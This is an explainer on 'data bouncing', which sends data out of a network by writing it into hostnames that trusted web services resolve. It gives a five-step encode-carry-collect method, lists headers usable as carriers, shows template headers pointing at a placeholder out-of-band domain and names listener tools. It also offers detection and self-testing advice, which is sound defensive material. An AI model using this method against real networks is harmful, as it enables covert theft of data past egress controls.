Data Bouncing

Data bouncing smuggles data out of a network inside ordinary HTTPS requests to trusted domains. The payload rides not in the request but in the DNS lookups those requests trigger — a second-order transport that egress controls, keyed on the trusted destination, never inspect.

The data is written into a hostname and placed in an ordinary web request to a reputable site — a CDN, a security scanner, a sign-up form. In handling that request the service resolves the hostname in DNS, and the lookup delivers the data to a name server the attacker controls. The request to the trusted site can even fail; the lookup has already left.

To the organisation it is traffic to a service it uses every day, going to a destination it trusts.

Data bouncing solicits a DNS resolution from a system you don't control and carries the payload in the name being resolved.

A hostname is a series of labels: c12.exfil.example. The attacker owns the domain and writes a chunk of data into a label beneath it. When any downstream service resolves that name, the authoritative name server for exfil.example — the attacker's — receives the query, and with it the chunk.

1. Encode. Split the file into numbered chunks. Write each as a label beneath your domain.
2. Carry. Place the hostname in a request field a downstream service will act on — most reliably the Host header — and send it to a high-reputation domain.
3. Bounce. The service resolves the hostname. At a CDN edge it appears to resolve the Host value before the origin or application layer is reached — inferred from requests that returned an error while a lookup still reached the listener — so a failed response is no sign the data stayed in.
4. Collect. The query lands on your authoritative name server and the label is read off. The egress control saw only TCP to a trusted apex; the data left as a UDP/53 query.
5. Rebuild. Reassemble the chunks by number.

Domain trust, as a control, is no longer meaningful against this technique.

Filtering egress by destination was a fair control for a long time: the destination told you most of what you needed. Data bouncing breaks that assumption.

• Destination no longer implies intent. The request goes to a trusted provider; its content was never measured, because it rarely needed to be.
• Visibility drops. The traffic looks legitimate and goes to legitimate places, then hands data to a domain the attacker owns.
• It resists scoring. There is little to put a CVSS figure on — fragmented, encrypted chunks across many headers and many domains leave the endpoint as the only realistic point of identification.
• The real exposure is operational and legal. A domain used to conduit someone else's data raises questions of data-processor status under GDPR, of sanctions, and of landing on reputation blocklists.

A carrier is any field whose value becomes a hostname that something later resolves. Headers are the broadest and easiest to work with; the rest reward looking.

HTTP headers

The primary class. Beyond Host: X-Forwarded-For, Referer, Forwarded, True-Client-IP, X-Real-IP, CF-Connecting-IP, X-Originating-IP and other forwarding headers. Demonstrated on GET, but the principle holds across verbs and across HTTP/1, 2 and 3.

Link previews

Unfurlers in chat and social tools resolve a pasted link's hostname to build the preview — the lookup can fire on paste, before anything is sent.

Web-fetch scanners

URL and site-reputation services fetch what you submit and must resolve it first: URL scanners, translators, site-review and safety-check tools. Slower to find, useful when headers are closed off.

Email sign-up

A registration form takes an email address; sending the confirmation forces a lookup of the address domain, even if no mailbox exists.

Request parameters

A hostname processed inside a parameter, as with server-side request forgery or an open redirect. Surgeon targets a single position; breaking up and reassembling the file is on the tester.

The rule is simple: if it resolves a name, it probably has utility. Note that a firewall may block the HTTP request after the DNS query has already bolted.

Testing your own exposure has three parts: a sender, a listener for the lookups, and a list of candidate domains.

A listener

You need to receive the DNS queries out of band. Lightest first:

• PortSwigger Collaborator — fine for light, interactive work; Taborator (Gareth Heyes) is a convenient Burp front end for it.
• interact.sh (ProjectDiscovery) — a stable, headless platform; the go-to for large-scale exploration, and best self-hosted for committed testing.

A sender and a target list

The sender fires a request at each domain in a list of high-reputation names — the Majestic Million is a ready corpus — tagging each candidate field with its position (which header) and its origin (which domain), so a single callback names both.

Host:             host.<target-domain>.<your-oob-domain>
X-Forwarded-For:  xff.<target-domain>.<your-oob-domain>
Referer:          https://ref.<target-domain>.<your-oob-domain>

A lookup for xff.google.com.oob.com then tells you the X-Forwarded-For position resolved, reached via google.com. Those are your candidates.

Published tooling

From a dataset of roughly 15 million observations (May 2024), the table below lists the server technologies seen performing lookups. It records that the technology was seen; it does not state why the lookup happened.

nginx leads by more than double the next. More than 100 server types appear in all, including content delivery networks, security servers and cloud services. The count falls away sharply after the top three.

There is no clean fix. Removing the ability to resolve user-supplied hostnames — including those handled by second-order systems — is an architectural dealbreaker for most, so the technique is likely to persist. Detection is the realistic control, and it is hard: many listeners, many targets, many headers and variable timing make it, in the author's phrase, not cat-and-mouse but several cats to your one mouse.

• Test your own surface. Crawl the application with Burp and Collaborator Everywhere, with a match-and-replace on the Host header; extend the check to link previews, web fetches and sign-up flows.
• Inspect DNS egress. Watch for long, high-entropy or fast-changing labels beneath a single domain — that pattern is a file being spelled out.
• Measure content and intent, not destination alone, and adjust threat models: treat visibility over trusted destinations as unknown until it is measured.

In the project's own data, one provider stood out as much less susceptible:

Cloudflare are much less susceptible when we look at our data … if you had to choose a WAF/CDN, we would recommend Cloudflare just because of how low its databouncing numbers are. — databouncing.io

Interesting technique. Believe Cloudflare is going public with an analysis of this as well. — Rob Joyce, NSA (at the time), 10 October 2023